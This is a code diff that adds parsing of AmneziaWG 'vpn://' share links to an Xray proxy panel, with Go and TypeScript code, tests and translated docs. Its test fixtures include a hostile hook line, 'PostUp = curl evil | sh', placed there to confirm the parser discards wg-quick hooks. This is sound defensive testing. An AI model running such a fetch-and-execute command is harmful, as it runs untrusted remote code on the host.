diff --git a/docs/content/docs/en/operations/outbounds-routing.mdx b/docs/content/docs/en/operations/outbounds-routing.mdx index d25256ef9..1bccda519 100644 --- a/docs/content/docs/en/operations/outbounds-routing.mdx +++ b/docs/content/docs/en/operations/outbounds-routing.mdx @@ -128,7 +128,8 @@ Imported outbounds get **stable tags**: the same server keeps the same tag acros refreshes, so exact-tag routing/balancer selectors stay pinned — while prefix/wildcard selectors (e.g. `hk-*`) automatically pick up new servers as the pool changes. Supported link schemes: `vmess`, `vless`, `trojan`, `ss`, -`hysteria2` (`hy2`), and `wireguard` (`wg`). The panel refreshes enabled +`hysteria2` (`hy2`), `wireguard` (`wg`), and `vpn` (AmneziaWG, from a 3x-ui +panel or an AmneziaVPN app key). The panel refreshes enabled subscriptions on a timer and reloads Xray when something changes. ## Routing rules diff --git a/docs/content/docs/fa/operations/outbounds-routing.mdx b/docs/content/docs/fa/operations/outbounds-routing.mdx index 2028346c4..cede13342 100644 --- a/docs/content/docs/fa/operations/outbounds-routing.mdx +++ b/docs/content/docs/fa/operations/outbounds-routing.mdx @@ -129,7 +129,7 @@ Reset یا حذف، peer مربوط به WireGuard را در حساب PIA باط حفظ می‌کند، بنابراین انتخاب‌گرهای مسیریابی/متعادل‌کننده مبتنی بر برچسب دقیق پایدار می‌مانند — در حالی که انتخاب‌گرهای پیشوندی/wildcard (مثلاً `hk-*`) با تغییر مجموعه، به‌صورت خودکار سرورهای جدید را در بر می‌گیرند. طرح‌های پیوند پشتیبانی‌شده: `vmess`، `vless`، `trojan`، `ss`، -`hysteria2` (`hy2`) و `wireguard` (`wg`). پنل اشتراک‌های فعال را روی یک زمان‌سنج تازه می‌کند و +`hysteria2` (`hy2`)، `wireguard` (`wg`) و `vpn` (AmneziaWG، از پنل 3x-ui یا کلید برنامه AmneziaVPN). پنل اشتراک‌های فعال را روی یک زمان‌سنج تازه می‌کند و هنگام تغییر چیزی، Xray را بارگذاری مجدد می‌کند. ## قواعد مسیریابی diff --git a/docs/content/docs/ru/operations/outbounds-routing.mdx b/docs/content/docs/ru/operations/outbounds-routing.mdx index 037318beb..97778f7b9 100644 --- a/docs/content/docs/ru/operations/outbounds-routing.mdx +++ b/docs/content/docs/ru/operations/outbounds-routing.mdx @@ -140,7 +140,7 @@ hostname получает уникальный тег `nord-` и не маршрутизации/балансировщиков по точному тегу остаются привязанными — в то время как селекторы по префиксу/шаблону (например, `hk-*`) автоматически подхватывают новые серверы по мере изменения пула. Поддерживаемые схемы ссылок: `vmess`, -`vless`, `trojan`, `ss`, `hysteria2` (`hy2`) и `wireguard` (`wg`). Панель +`vless`, `trojan`, `ss`, `hysteria2` (`hy2`), `wireguard` (`wg`) и `vpn` (AmneziaWG: из панели 3x-ui или ключ приложения AmneziaVPN). Панель обновляет включённые подписки по таймеру и перезагружает Xray при любых изменениях. diff --git a/docs/content/docs/zh/operations/outbounds-routing.mdx b/docs/content/docs/zh/operations/outbounds-routing.mdx index 8ebe0addd..9f8edf9b5 100644 --- a/docs/content/docs/zh/operations/outbounds-routing.mdx +++ b/docs/content/docs/zh/operations/outbounds-routing.mdx @@ -117,7 +117,7 @@ Xray 配置中——而不会改动你已保存的模板。这是订阅一*池* 导入的出站会获得**稳定的标签**:同一台服务器在多次刷新之间始终保持同一个标签, 因此精确标签的路由/均衡器选择器会保持固定——而前缀/通配符选择器(例如 `hk-*`) 则会随着服务器池的变化自动纳入新的服务器。支持的链接协议:`vmess`、`vless`、`trojan`、`ss`、 -`hysteria2`(`hy2`)以及 `wireguard`(`wg`)。面板会按定时器刷新已启用的 +`hysteria2`(`hy2`)、`wireguard`(`wg`)以及 `vpn`(AmneziaWG,来自 3x-ui 面板或 AmneziaVPN 应用密钥)。面板会按定时器刷新已启用的 订阅,并在内容发生变化时重载 Xray。 ## 路由规则 diff --git a/frontend/src/lib/xray/outbound-link-parser.ts b/frontend/src/lib/xray/outbound-link-parser.ts index bcf2f314b..1b3b68db3 100644 --- a/frontend/src/lib/xray/outbound-link-parser.ts +++ b/frontend/src/lib/xray/outbound-link-parser.ts @@ -1,3 +1,5 @@ +import { z } from 'zod'; + import { Base64 } from '@/utils'; import { normalizeUdpHop, upgradeLegacyUdpHop } from './udphop-mask'; @@ -854,9 +856,146 @@ export function parseWireguardLink(link: string): Raw | null { }; } +const AWG_CONF_INTS: Record = { + mtu: 'mtu', + jc: 'jc', + jmin: 'jmin', + jmax: 'jmax', + s1: 's1', + s2: 's2', + s3: 's3', + s4: 's4', +}; +const AWG_CONF_STRINGS: Record = { + h1: 'h1', + h2: 'h2', + h3: 'h3', + h4: 'h4', + i1: 'i1', + i2: 'i2', + i3: 'i3', + i4: 'i4', + i5: 'i5', + headerprotectionkey: 'headerProtectionKey', + contentpaddingaddition: 'contentPaddingAddition', + rekeyaftertime: 'rekeyAfterTime', + rekeytimeout: 'rekeyTimeout', + rejectaftertime: 'rejectAfterTime', + keepalivetimeout: 'keepaliveTimeout', + maxhandshakeattempts: 'maxHandshakeAttempts', +}; + +function splitList(v: string): string[] { + return v + .split(',') + .map((s) => s.trim()) + .filter(Boolean); +} + +// Mirrors Go's amneziaWGOutboundFromConf: only known keys survive, so wg-quick hooks never do. +function amneziaWGOutboundFromConf(conf: string, fallbackTag: string): Raw | null { + // An absent .conf line means 0 (as in Go); the form adapter would default S3/S4 to 12. + const settings: Raw = { + ...Object.fromEntries(Object.values(AWG_CONF_INTS).map((f) => [f, 0])), + randomTrailers: false, + disableCookies: false, + }; + const peer: Raw = { allowedIPs: ['0.0.0.0/0', '::/0'] }; + let tag = ''; + for (const rawLine of conf.split('\n')) { + const line = rawLine.trim(); + if (line.startsWith('#')) { + if (!tag) tag = line.slice(1).trim(); + continue; + } + const eq = line.indexOf('='); + if (eq < 0) continue; + const key = line.slice(0, eq).trim().toLowerCase(); + const v = line.slice(eq + 1).trim(); + if (key in AWG_CONF_INTS) { + if (/^\d+$/.test(v)) settings[AWG_CONF_INTS[key]] = Number(v); + } else if (key in AWG_CONF_STRINGS) { + settings[AWG_CONF_STRINGS[key]] = v; + } else if (key === 'privatekey') settings.secretKey = v; + else if (key === 'address') settings.address = splitList(v); + else if (key === 'dns') { + const dns = splitList(v); + if (dns.length > 0) settings.dns = dns[0]; + } else if (key === 'randomtrailers') settings.randomTrailers = v.toLowerCase() === 'on'; + else if (key === 'disablecookies') settings.disableCookies = v.toLowerCase() === 'on'; + else if (key === 'publickey') peer.publicKey = v; + else if (key === 'presharedkey') peer.presharedKey = v; + else if (key === 'allowedips') peer.allowedIPs = splitList(v); + else if (key === 'endpoint') peer.endpoint = v; + // The outbound holds one interval; a ranged "20-30" keeps its lower bound so NAT refresh survives. + else if (key === 'persistentkeepalive' && /^\d+\s*(-\s*\d+)?$/.test(v)) + peer.keepAlive = parseInt(v, 10); + } + if (!settings.secretKey || !peer.publicKey || !peer.endpoint) return null; + settings.peers = [peer]; + return { protocol: 'amneziawg', tag: tag || fallbackTag, settings }; +} + +// Same per-key cap as Go's maxAmneziaVPNPayload; a real key is a few KiB. +const MAX_AMNEZIAVPN_PAYLOAD = 1 << 20; + +// inflateBounded stops reading once the cap is passed, so a zip bomb never lands in memory. +async function inflateBounded(zlib: Uint8Array, cap: number): Promise { + const reader = new Blob([zlib]) + .stream() + .pipeThrough(new DecompressionStream('deflate')) + .getReader(); + const decoder = new TextDecoder(); + let text = ''; + let total = 0; + for (let r = await reader.read(); !r.done; r = await reader.read()) { + total += r.value.length; + if (total > cap) { + await reader.cancel(); + return null; + } + text += decoder.decode(r.value, { stream: true }); + } + return text + decoder.decode(); +} + +const AmneziaVPNKeySchema = z.object({ + description: z.string().optional(), + containers: z.array( + z.object({ awg: z.object({ last_config: z.string().optional() }).optional() }), + ), +}); +const AmneziaVPNLastConfigSchema = z.object({ config: z.string() }); + +// vpn:// is base64url(.conf) from 3x-ui, or base64url(qCompress(JSON)) from the AmneziaVPN +// app: a 4-byte length, then zlib, holding the .conf in containers[].awg.last_config. +export async function parseAmneziaVPNLink(link: string): Promise { + if (!link.startsWith('vpn://')) return null; + try { + const b64 = link.slice('vpn://'.length).replace(/-/g, '+').replace(/_/g, '/'); + const bytes = Uint8Array.from(atob(b64 + '='.repeat((4 - (b64.length % 4)) % 4)), (c) => + c.charCodeAt(0), + ); + if (bytes.length <= 6 || bytes[4] !== 0x78) { + return amneziaWGOutboundFromConf(new TextDecoder().decode(bytes), ''); + } + const json = await inflateBounded(bytes.slice(4), MAX_AMNEZIAVPN_PAYLOAD); + if (json === null) return null; + const key = AmneziaVPNKeySchema.parse(JSON.parse(json)); + for (const c of key.containers) { + if (!c.awg?.last_config) continue; + const { config } = AmneziaVPNLastConfigSchema.parse(JSON.parse(c.awg.last_config)); + if (config) return amneziaWGOutboundFromConf(config, key.description ?? ''); + } + return null; + } catch { + return null; + } +} + // Dispatcher — first non-null parser wins. Returns null when no parser -// recognizes the link's protocol scheme. -export function parseOutboundLink(link: string): Raw | null { +// recognizes the link's protocol scheme. Async because AmneziaVPN keys are zlib-compressed. +export async function parseOutboundLink(link: string): Promise { const trimmed = link.trim(); if (!trimmed) return null; const outbound = @@ -865,7 +1004,8 @@ export function parseOutboundLink(link: string): Raw | null { parseTrojanLink(trimmed) ?? parseShadowsocksLink(trimmed) ?? parseHysteria2Link(trimmed) ?? - parseWireguardLink(trimmed); + parseWireguardLink(trimmed) ?? + (await parseAmneziaVPNLink(trimmed)); if (outbound) dropHostLocalKeys(outbound); return outbound; } diff --git a/frontend/src/pages/xray/outbounds/OutboundFormModal.tsx b/frontend/src/pages/xray/outbounds/OutboundFormModal.tsx index 961bd48b0..4e574494a 100644 --- a/frontend/src/pages/xray/outbounds/OutboundFormModal.tsx +++ b/frontend/src/pages/xray/outbounds/OutboundFormModal.tsx @@ -127,13 +127,13 @@ export default function OutboundFormModal({ /* * Parse a share link (vmess:// / vless:// / trojan:// / ss:// / - * hysteria2:// / wireguard://) and replace form state with the result. + * hysteria2:// / wireguard:// / vpn://) and replace form state with the result. * The current tag is preserved when the parsed link doesn't carry one. */ - function importLink() { + async function importLink() { const link = linkInput.trim(); if (!link) return; - const parsed = parseOutboundLink(link); + const parsed = await parseOutboundLink(link); if (!parsed) { messageApi.error('Wrong Link!'); return; diff --git a/frontend/src/test/outbound-link-parser.test.ts b/frontend/src/test/outbound-link-parser.test.ts index 830ed8f2c..59d3b530a 100644 --- a/frontend/src/test/outbound-link-parser.test.ts +++ b/frontend/src/test/outbound-link-parser.test.ts @@ -1057,7 +1057,7 @@ describe('parseWireguardLink', () => { }); describe('parseOutboundLink dispatcher', () => { - it('dispatches vmess via base64 JSON', () => { + it('dispatches vmess via base64 JSON', async () => { const json = { v: '2', ps: 'x', @@ -1068,28 +1068,163 @@ describe('parseOutboundLink dispatcher', () => { tls: 'none', }; const link = `vmess://${Base64.encode(JSON.stringify(json))}`; - expect(parseOutboundLink(link)?.protocol).toBe('vmess'); + expect((await parseOutboundLink(link))?.protocol).toBe('vmess'); }); - it('dispatches vless via URL', () => { - expect(parseOutboundLink('vless://uuid@host:443?type=tcp&security=none')?.protocol).toBe( - 'vless', - ); - }); - - it('dispatches wireguard via URL', () => { + it('dispatches vless via URL', async () => { expect( - parseOutboundLink('wireguard://pk@host:22824?publickey=pub&address=10.0.0.2/32')?.protocol, + (await parseOutboundLink('vless://uuid@host:443?type=tcp&security=none'))?.protocol, + ).toBe('vless'); + }); + + it('dispatches wireguard via URL', async () => { + expect( + (await parseOutboundLink('wireguard://pk@host:22824?publickey=pub&address=10.0.0.2/32')) + ?.protocol, ).toBe('wireguard'); }); - it('returns null for an unknown scheme', () => { - expect(parseOutboundLink('socks5://user:pass@host:1080')).toBeNull(); + it('returns null for an unknown scheme', async () => { + expect(await parseOutboundLink('socks5://user:pass@host:1080')).toBeNull(); }); - it('returns null for empty input', () => { - expect(parseOutboundLink('')).toBeNull(); - expect(parseOutboundLink(' ')).toBeNull(); + it('returns null for empty input', async () => { + expect(await parseOutboundLink('')).toBeNull(); + expect(await parseOutboundLink(' ')).toBeNull(); + }); +}); + +describe('parseOutboundLink — AmneziaWG vpn://', () => { + const conf = [ + '[Interface]', + 'PrivateKey = cPriv=', + 'Address = 10.8.1.2/32, fd00::2/128', + 'DNS = 1.1.1.1, 8.8.8.8', + 'MTU = 1376', + 'Jc = 4', + 'Jmin = 10', + 'Jmax = 50', + 'S1 = 30', + 'S2 = 40', + 'H1 = 100-200', + 'H2 = 300', + 'H3 = 400', + 'H4 = 500', + 'I1 = ', + 'DisableCookies = on', + 'PostUp = curl evil | sh', + '', + '# my-awg', + '[Peer]', + 'PublicKey = sPub=', + 'PresharedKey = psk=', + 'AllowedIPs = 0.0.0.0/0, ::/0', + 'Endpoint = awg.example.com:51820', + 'PersistentKeepalive = 25', + ].join('\n'); + const wantSettings = { + secretKey: 'cPriv=', + address: ['10.8.1.2/32', 'fd00::2/128'], + dns: '1.1.1.1', + mtu: 1376, + jc: 4, + jmin: 10, + jmax: 50, + s1: 30, + s2: 40, + s3: 0, + s4: 0, + h1: '100-200', + h2: '300', + h3: '400', + h4: '500', + i1: '', + randomTrailers: false, + disableCookies: true, + peers: [ + { + publicKey: 'sPub=', + presharedKey: 'psk=', + allowedIPs: ['0.0.0.0/0', '::/0'], + endpoint: 'awg.example.com:51820', + keepAlive: 25, + }, + ], + }; + const b64url = (bytes: Uint8Array) => + btoa(String.fromCharCode(...bytes)) + .replace(/\+/g, '-') + .replace(/\//g, '_') + .replace(/=+$/, ''); + const amneziaVPNKey = async (key: unknown) => { + const json = new TextEncoder().encode(JSON.stringify(key)); + const zlib = new Uint8Array( + await new Response( + new Blob([json]).stream().pipeThrough(new CompressionStream('deflate')), + ).arrayBuffer(), + ); + const framed = new Uint8Array(4 + zlib.length); + new DataView(framed.buffer).setUint32(0, json.length); + framed.set(zlib, 4); + return `vpn://${b64url(framed)}`; + }; + const awgKey = (c: string) => + amneziaVPNKey({ + description: 'provider-de', + containers: [ + { container: 'amnezia-awg', awg: { last_config: JSON.stringify({ config: c }) } }, + ], + }); + + it.each([ + ['3x-ui plain conf', async () => `vpn://${b64url(new TextEncoder().encode(conf))}`, 'my-awg'], + ['AmneziaVPN app key', () => awgKey(conf), 'my-awg'], + ['AmneziaVPN key without remark', () => awgKey(conf.replace('# my-awg\n', '')), 'provider-de'], + ])('imports a %s as an amneziawg outbound', async (_name, makeLink, tag) => { + expect(await parseOutboundLink(await makeLink())).toEqual({ + protocol: 'amneziawg', + tag, + settings: wantSettings, + }); + }); + + it('rejects a key without an AmneziaWG container', async () => { + const link = await amneziaVPNKey({ + containers: [{ container: 'amnezia-openvpn', openvpn: { last_config: '{}' } }], + }); + expect(await parseOutboundLink(link)).toBeNull(); + }); + + // 3x-ui omits S3/S4 when 0 and legacy AmneziaWG never sends them; the form must not + // fall back to its own 12, or the outbound never completes a handshake with its server. + it('keeps an absent S3/S4 at 0 through the outbound form', async () => { + const parsed = await parseOutboundLink(`vpn://${b64url(new TextEncoder().encode(conf))}`); + const form = rawOutboundToFormValues(parsed!); + expect(form.protocol === 'amneziawg' && [form.settings.s3, form.settings.s4]).toEqual([0, 0]); + }); + + it('skips an AmneziaWG container without last_config, like the Go parser', async () => { + const link = await amneziaVPNKey({ + containers: [ + { container: 'amnezia-awg', awg: {} }, + { container: 'amnezia-awg2', awg: { last_config: JSON.stringify({ config: conf }) } }, + ], + }); + expect((await parseOutboundLink(link))?.tag).toBe('my-awg'); + }); + + it('keeps the lower bound of a ranged PersistentKeepalive', async () => { + const ranged = conf.replace('PersistentKeepalive = 25', 'PersistentKeepalive = 20-30'); + const out = await parseOutboundLink(`vpn://${b64url(new TextEncoder().encode(ranged))}`); + expect(out).toMatchObject({ settings: { peers: [{ keepAlive: 20 }] } }); + }); + + it('rejects a key that inflates past 1 MiB', async () => { + const link = await amneziaVPNKey({ + description: 'a'.repeat(1_100_000), + containers: [{ awg: { last_config: JSON.stringify({ config: conf }) } }], + }); + expect(await parseOutboundLink(link)).toBeNull(); }); }); @@ -1126,7 +1261,7 @@ describe('obfs=gecko packetSize validation', () => { }); describe('parseOutboundLink — host-local keys', () => { - it('drops keys that redirect the dial or name host files, however they are cased', () => { + it('drops keys that redirect the dial or name host files, however they are cased', async () => { const extra = encodeURIComponent( JSON.stringify({ downloadSettings: { @@ -1144,7 +1279,7 @@ describe('parseOutboundLink — host-local keys', () => { const fm = encodeURIComponent( JSON.stringify({ tcp: [{ type: 'header-custom', settings: { DialerProxy: 'api' } }] }), ); - const out = parseOutboundLink( + const out = await parseOutboundLink( `vless://uuid@8.8.8.8:443?type=xhttp&security=tls&extra=${extra}&fm=${fm}#node`, ); const json = JSON.stringify(out); diff --git a/internal/util/link/amneziawg_test.go b/internal/util/link/amneziawg_test.go new file mode 100644 index 000000000..bbf9ef314 --- /dev/null +++ b/internal/util/link/amneziawg_test.go @@ -0,0 +1,153 @@ +package link + +import ( + "bytes" + "compress/zlib" + "encoding/base64" + "encoding/binary" + "encoding/json" + "reflect" + "strings" + "testing" +) + +const awgConf = `[Interface] +PrivateKey = cPriv= +Address = 10.8.1.2/32, fd00::2/128 +DNS = 1.1.1.1, 8.8.8.8 +MTU = 1376 +Jc = 4 +Jmin = 10 +Jmax = 50 +S1 = 30 +S2 = 40 +H1 = 100-200 +H2 = 300 +H3 = 400 +H4 = 500 +I1 = +DisableCookies = on +PostUp = curl evil | sh + +# my-awg +[Peer] +PublicKey = sPub= +PresharedKey = psk= +AllowedIPs = 0.0.0.0/0, ::/0 +Endpoint = awg.example.com:51820 +PersistentKeepalive = 25` + +func qCompressKey(t *testing.T, key any) string { + t.Helper() + js, err := json.Marshal(key) + if err != nil { + t.Fatal(err) + } + var buf bytes.Buffer + _ = binary.Write(&buf, binary.BigEndian, uint32(len(js))) + zw := zlib.NewWriter(&buf) + _, _ = zw.Write(js) + _ = zw.Close() + return "vpn://" + base64.RawURLEncoding.EncodeToString(buf.Bytes()) +} + +func amneziaVPNKey(t *testing.T, conf string) string { + t.Helper() + last, _ := json.Marshal(map[string]string{"config": conf}) + return qCompressKey(t, map[string]any{ + "description": "provider-de", + "defaultContainer": "amnezia-awg", + "containers": []any{map[string]any{"container": "amnezia-awg", "awg": map[string]any{"last_config": string(last)}}}, + }) +} + +func TestParseAmneziaVPNLink(t *testing.T) { + wantSettings := map[string]any{ + "secretKey": "cPriv=", "address": []string{"10.8.1.2/32", "fd00::2/128"}, "dns": "1.1.1.1", + "mtu": 1376, "jc": 4, "jmin": 10, "jmax": 50, "s1": 30, "s2": 40, + "h1": "100-200", "h2": "300", "h3": "400", "h4": "500", "i1": "", + "randomTrailers": false, "disableCookies": true, + "peers": []any{map[string]any{ + "publicKey": "sPub=", "presharedKey": "psk=", "allowedIPs": []string{"0.0.0.0/0", "::/0"}, + "endpoint": "awg.example.com:51820", "keepAlive": 25, + }}, + } + cases := []struct { + name, link, wantTag string + }{ + {"3x-ui plain conf", "vpn://" + base64.RawURLEncoding.EncodeToString([]byte(awgConf)), "my-awg"}, + {"AmneziaVPN app key", amneziaVPNKey(t, awgConf), "my-awg"}, + {"AmneziaVPN key without remark uses description", amneziaVPNKey(t, strings.Replace(awgConf, "# my-awg\n", "", 1)), "provider-de"}, + } + for _, c := range cases { + t.Run(c.name, func(t *testing.T) { + res, err := ParseLink(c.link) + if err != nil { + t.Fatalf("ParseLink: %v", err) + } + if res.Outbound["protocol"] != "amneziawg" || res.Outbound["tag"] != c.wantTag { + t.Fatalf("protocol/tag = %v/%v, want amneziawg/%s", res.Outbound["protocol"], res.Outbound["tag"], c.wantTag) + } + if got := res.Outbound["settings"]; !reflect.DeepEqual(got, wantSettings) { + t.Fatalf("settings =\n%#v\nwant\n%#v", got, wantSettings) + } + if res.Identity != "amneziawg:cPriv=:sPub=@awg.example.com:51820" { + t.Fatalf("identity = %q", res.Identity) + } + }) + } +} + +// 3x-ui exports a ranged keepalive ("20-30"); dropping it would turn keepalive off. +func TestParseAmneziaVPNLinkRangedKeepaliveKeepsLowerBound(t *testing.T) { + conf := strings.Replace(awgConf, "PersistentKeepalive = 25", "PersistentKeepalive = 20-30", 1) + res, err := ParseLink("vpn://" + base64.RawURLEncoding.EncodeToString([]byte(conf))) + if err != nil { + t.Fatal(err) + } + peer := res.Outbound["settings"].(map[string]any)["peers"].([]any)[0].(map[string]any) + if peer["keepAlive"] != 20 { + t.Fatalf("keepAlive = %v, want 20", peer["keepAlive"]) + } +} + +// Two clients of one server must keep distinct identities, or reordering them swaps tags. +func TestParseAmneziaVPNLinkIdentityTellsClientsApart(t *testing.T) { + a, _ := ParseLink("vpn://" + base64.RawURLEncoding.EncodeToString([]byte(awgConf))) + b, _ := ParseLink("vpn://" + base64.RawURLEncoding.EncodeToString([]byte(strings.Replace(awgConf, "cPriv=", "otherPriv=", 1)))) + if a == nil || b == nil || a.Identity == b.Identity { + t.Fatalf("identities %v / %v, want two distinct", a, b) + } +} + +// Each key is capped at 1 MiB, but 2000 such keys would expand an 8 MiB body to 2 GB. +func TestParseSubscriptionBodyCapsTotalInflatedBytes(t *testing.T) { + last, _ := json.Marshal(map[string]string{"config": awgConf}) + key := qCompressKey(t, map[string]any{ + "description": strings.Repeat("a", 900_000), + "containers": []any{map[string]any{"awg": map[string]any{"last_config": string(last)}}}, + }) + obs, _, err := ParseSubscriptionBody([]byte(strings.Repeat(key+"\n", 20))) + if err != nil { + t.Fatal(err) + } + if len(obs) != 9 { + t.Fatalf("parsed %d keys of ~900 KB each, want 9 within the 8 MiB inflate budget", len(obs)) + } +} + +func TestParseAmneziaVPNLinkRejects(t *testing.T) { + cases := map[string]string{ + "key without awg container": qCompressKey(t, map[string]any{ + "containers": []any{map[string]any{"container": "amnezia-openvpn", "openvpn": map[string]any{"last_config": "{}"}}}, + }), + "conf without endpoint": "vpn://" + base64.RawURLEncoding.EncodeToString([]byte("[Interface]\nPrivateKey = k\n[Peer]\nPublicKey = p")), + } + for name, l := range cases { + t.Run(name, func(t *testing.T) { + if res, err := ParseLink(l); err == nil { + t.Fatalf("ParseLink accepted it: %#v", res.Outbound) + } + }) + } +} diff --git a/internal/util/link/outbound.go b/internal/util/link/outbound.go index 930cfc97c..144fbc93a 100644 --- a/internal/util/link/outbound.go +++ b/internal/util/link/outbound.go @@ -5,9 +5,12 @@ package link import ( + "bytes" + "compress/zlib" "encoding/base64" "encoding/json" "fmt" + "io" "maps" "math" "net" @@ -57,6 +60,7 @@ func ParseSubscriptionBody(body []byte) ([]Outbound, []string, error) { var outbounds []Outbound var identities []string seen := map[string]int{} + inflateBudget := maxSubscriptionInflatedBytes for _, ln := range lines { if len(outbounds) >= MaxSubscriptionOutbounds { @@ -66,7 +70,7 @@ func ParseSubscriptionBody(body []byte) ([]Outbound, []string, error) { if ln == "" || strings.HasPrefix(ln, "#") { continue } - res, err := ParseLink(ln) + res, err := parseLink(ln, &inflateBudget) if err != nil || res == nil { // Ignore unparseable lines (comments, unsupported protocols, etc.) continue @@ -126,8 +130,15 @@ func splitLines(s string) []string { // - ss:// (modern and legacy) // - hysteria2:// (also hy2://) // - wireguard:// (also wg://) +// - vpn:// (AmneziaWG: 3x-ui plain .conf or AmneziaVPN app key) func ParseLink(link string) (*ParseResult, error) { - res, err := parseLinkByScheme(strings.TrimSpace(link)) + return parseLink(link, nil) +} + +// parseLink draws inflated vpn:// bytes from inflateBudget when non-nil, so a whole +// subscription stays bounded, not just each key. +func parseLink(link string, inflateBudget *int) (*ParseResult, error) { + res, err := parseLinkByScheme(strings.TrimSpace(link), inflateBudget) if err != nil { return nil, err } @@ -163,7 +174,7 @@ func nestsWithin(v any, depth int) bool { return true } -func parseLinkByScheme(link string) (*ParseResult, error) { +func parseLinkByScheme(link string, inflateBudget *int) (*ParseResult, error) { switch { case strings.HasPrefix(link, "vmess://"): return parseVmess(link) @@ -177,6 +188,8 @@ func parseLinkByScheme(link string) (*ParseResult, error) { return parseHysteria2(link) case strings.HasPrefix(link, "wireguard://"), strings.HasPrefix(link, "wg://"): return parseWireguard(link) + case strings.HasPrefix(link, "vpn://"): + return parseAmneziaVPN(link, inflateBudget) default: return nil, fmt.Errorf("unsupported link scheme") } @@ -719,6 +732,163 @@ func parseWireguard(link string) (*ParseResult, error) { return &ParseResult{Outbound: ob, Identity: identity}, nil } +// --- amneziawg (vpn://) --- + +// maxAmneziaVPNPayload bounds the inflated AmneziaVPN key; a real one is a few KiB. +const maxAmneziaVPNPayload = 1 << 20 + +// maxSubscriptionInflatedBytes bounds the vpn:// bytes one subscription inflates: without it +// 2000 links at the per-key cap would expand an 8 MiB body to 2 GB. +const maxSubscriptionInflatedBytes = 8 << 20 + +// parseAmneziaVPN reads a vpn:// link: 3x-ui writes base64url(.conf text), the AmneziaVPN +// app base64url(qCompress(JSON)) with the .conf in containers[].awg.last_config. +func parseAmneziaVPN(link string, inflateBudget *int) (*ParseResult, error) { + payload, err := base64DecodeFlexible(strings.TrimPrefix(link, "vpn://")) + if err != nil { + return nil, err + } + conf, description := payload, "" + if len(payload) > 6 && payload[4] == 0x78 { + if conf, description, err = amneziaVPNKeyConf([]byte(payload[4:]), inflateBudget); err != nil { + return nil, err + } + } + return amneziaWGOutboundFromConf(conf, description) +} + +func amneziaVPNKeyConf(zlibData []byte, inflateBudget *int) (conf, description string, err error) { + limit := maxAmneziaVPNPayload + if inflateBudget != nil { + limit = min(limit, *inflateBudget) + } + zr, err := zlib.NewReader(bytes.NewReader(zlibData)) + if err != nil { + return "", "", err + } + defer zr.Close() + raw, err := io.ReadAll(io.LimitReader(zr, int64(limit)+1)) + if err != nil { + return "", "", err + } + if len(raw) > limit { + return "", "", fmt.Errorf("amneziavpn key exceeds the %d bytes left to inflate", limit) + } + if inflateBudget != nil { + *inflateBudget -= len(raw) + } + var key struct { + Description string `json:"description"` + Containers []struct { + Awg *struct { + LastConfig string `json:"last_config"` + } `json:"awg"` + } `json:"containers"` + } + if err := json.Unmarshal(raw, &key); err != nil { + return "", "", err + } + for _, c := range key.Containers { + if c.Awg == nil || c.Awg.LastConfig == "" { + continue + } + var last struct { + Config string `json:"config"` + } + if err := json.Unmarshal([]byte(c.Awg.LastConfig), &last); err != nil { + return "", "", err + } + if last.Config != "" { + return last.Config, key.Description, nil + } + } + return "", "", fmt.Errorf("amneziavpn key has no amneziawg container") +} + +// amneziaWGConfInts are the .conf keys the outbound stores as numbers. +var amneziaWGConfInts = map[string]string{ + "mtu": "mtu", "jc": "jc", "jmin": "jmin", "jmax": "jmax", + "s1": "s1", "s2": "s2", "s3": "s3", "s4": "s4", +} + +var amneziaWGConfStrings = map[string]string{ + "h1": "h1", "h2": "h2", "h3": "h3", "h4": "h4", + "i1": "i1", "i2": "i2", "i3": "i3", "i4": "i4", "i5": "i5", + "headerprotectionkey": "headerProtectionKey", "contentpaddingaddition": "contentPaddingAddition", + "rekeyaftertime": "rekeyAfterTime", "rekeytimeout": "rekeyTimeout", "rejectaftertime": "rejectAfterTime", + "keepalivetimeout": "keepaliveTimeout", "maxhandshakeattempts": "maxHandshakeAttempts", +} + +// amneziaWGOutboundFromConf keeps only known keys, so wg-quick hooks (PostUp...) never survive. +func amneziaWGOutboundFromConf(conf, fallbackTag string) (*ParseResult, error) { + settings := map[string]any{"randomTrailers": false, "disableCookies": false} + peer := map[string]any{"allowedIPs": []string{"0.0.0.0/0", "::/0"}} + tag := "" + for line := range strings.SplitSeq(conf, "\n") { + line = strings.TrimSpace(line) + if rest, ok := strings.CutPrefix(line, "#"); ok { + if tag == "" { + tag = strings.TrimSpace(rest) + } + continue + } + k, v, ok := strings.Cut(line, "=") + if !ok { + continue + } + key, v := strings.ToLower(strings.TrimSpace(k)), strings.TrimSpace(v) + if f, ok := amneziaWGConfInts[key]; ok { + if n, err := strconv.Atoi(v); err == nil { + settings[f] = n + } + continue + } + if f, ok := amneziaWGConfStrings[key]; ok { + settings[f] = v + continue + } + switch key { + case "privatekey": + settings["secretKey"] = v + case "address": + settings["address"] = splitComma(v) + case "dns": + if dns := splitComma(v); len(dns) > 0 { + settings["dns"] = dns[0] + } + case "randomtrailers": + settings["randomTrailers"] = strings.EqualFold(v, "on") + case "disablecookies": + settings["disableCookies"] = strings.EqualFold(v, "on") + case "publickey": + peer["publicKey"] = v + case "presharedkey": + peer["presharedKey"] = v + case "allowedips": + peer["allowedIPs"] = splitComma(v) + case "endpoint": + peer["endpoint"] = v + case "persistentkeepalive": + // The outbound holds one interval; a ranged "20-30" keeps its lower bound so NAT refresh survives. + lo, _, _ := strings.Cut(v, "-") + if n, err := strconv.Atoi(strings.TrimSpace(lo)); err == nil { + peer["keepAlive"] = n + } + } + } + if settings["secretKey"] == nil || peer["publicKey"] == nil || peer["endpoint"] == nil { + return nil, fmt.Errorf("amneziawg config lacks PrivateKey, PublicKey or Endpoint") + } + settings["peers"] = []any{peer} + if tag == "" { + tag = fallbackTag + } + ob := Outbound{"protocol": "amneziawg", "tag": tag, "settings": settings} + // The private key tells apart clients of one server, as in the WireGuard identity. + identity := fmt.Sprintf("amneziawg:%s:%s@%s", settings["secretKey"], peer["publicKey"], peer["endpoint"]) + return &ParseResult{Outbound: ob, Identity: identity}, nil +} + // --- helpers --- func buildStream(network, security string) map[string]any { diff --git a/internal/web/job/amneziawg_job.go b/internal/web/job/amneziawg_job.go index 9863d7207..7c39150d7 100644 --- a/internal/web/job/amneziawg_job.go +++ b/internal/web/job/amneziawg_job.go @@ -17,7 +17,7 @@ import ( const endpointWindow = 30 * time.Minute // AmneziaWGJob converges AmneziaWG interfaces (inbounds on either datapath AND -// the template's "amneziawg" outbounds) every 10s; only kernel mode needs stats. +// "amneziawg" outbounds from the template or subscriptions) every 10s; only kernel mode needs stats. type AmneziaWGJob struct { inboundService service.InboundService settingService 